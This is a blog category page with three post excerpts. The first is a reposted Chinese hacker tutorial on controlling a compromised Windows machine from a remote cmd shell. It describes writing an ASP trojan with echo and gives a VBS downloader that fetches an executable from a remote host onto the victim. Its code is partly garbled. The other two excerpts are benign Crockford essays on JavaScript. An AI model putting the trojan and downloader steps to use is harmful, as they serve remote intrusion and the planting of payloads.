Browsed by
Category: script

[转]Do All in Cmd Shell

[转]Do All in Cmd Shell

目录 1,前言 2,文件传输 3,系统配置 4,网络配置 5,软件安装 6,Windows脚本 7,附言 前言 Cmd Shell(命令行交互)是黑客永恒的话题,它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。 文件传输 对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下: 1,用Echo命令写ASP木马。 前提当然是目标主机上已经安装了IIS。 一般的ASP木马“体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。 直接给出echo版: @echo ^ >up.asp 注意,只有一行,中间没有回车符。 生成的up.asp不能用浏览器访问,只能用下面这个脚本: with wscript if .arguments.count>dl.vbs @echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs @echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs 举例——下载ps.exe并保存到c:path下: cscript dl.vbs http://www.sometips.com/soft/ps.exe c:pathps.exe 注意,这是在远程shell中执行的。 4,Echo经过编码的任何文件,再用脚本+debug还原。 前面两个办法都不能保证穿过防火墙。而且,除非自己架Web服务器,一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具,还是没辙。那么只有出“杀手锏”了! echo命令加重定向x作符可以写入ASCII码小于128的字符,但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符,才能方便地写入远程主机。首先能想到的就是base64编码,即email附件的编码方式。但vbs不支持位x作,因此编码和解码较复杂。更麻烦的是,脚本以二进制流方式处理文件的能力很差。(ADODB.Stream可以以流方式写文件,但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串,但反过来不行。我花了两天时间,还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中,恳请赐教。) 无奈只有请debug.exe出马了。原理很多人都知道,我不介绍了,直接给出成果——编码脚本: fp=wscript.arguments(0) fn=right(fp,len(fp)-instrrev(fp,"")) with createobject("adodb.stream") .type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str) end with sll=sl mod 65536:slh=sl65536 with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true) .write "@echo str=""" for i=1 to sl bt=ascb(midb(str,i,1)) if bt>debug.vbs"+vbcrlf+"@echo +""" next .writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_ +":for…

Read More Read More

Private Members in JavaScript

Private Members in JavaScript

Douglas Crockfordwww.crockford.com  JavaScript is the world’s most misunderstood programming language. Some believe that it lacks the property of information hiding because objects cannot have private instance variables and methods. But this is a misunderstanding. JavaScript objects can have private members. Here’s how. ObjectsJavaScript is fundamentally about objects. Arrays are objects. Functions are objects. Objects are objects. So what are objects? Objects are collections of name-value pairs. The names are strings, and the values are strings, numbers, booleans, and objects (including…

Read More Read More

JavaScript:The World's Most Misunderstood Programming Language

JavaScript:The World's Most Misunderstood Programming Language

Douglas Crockfordwww.crockford.com JavaScript, aka Mocha, aka LiveScript, aka JScript, aka ECMAScript, is one of the world’s most popular programming languages. Virtually every personal computer in the world has at least one JavaScript interpreter installed on it and in active use. JavaScript’s popularity is due entirely to its role as the scripting language of the WWW. Despite its popularity, few know that JavaScript is a very nice dynamic object-oriented general-purpose programming language. How can this be a secret? Why is this…

Read More Read More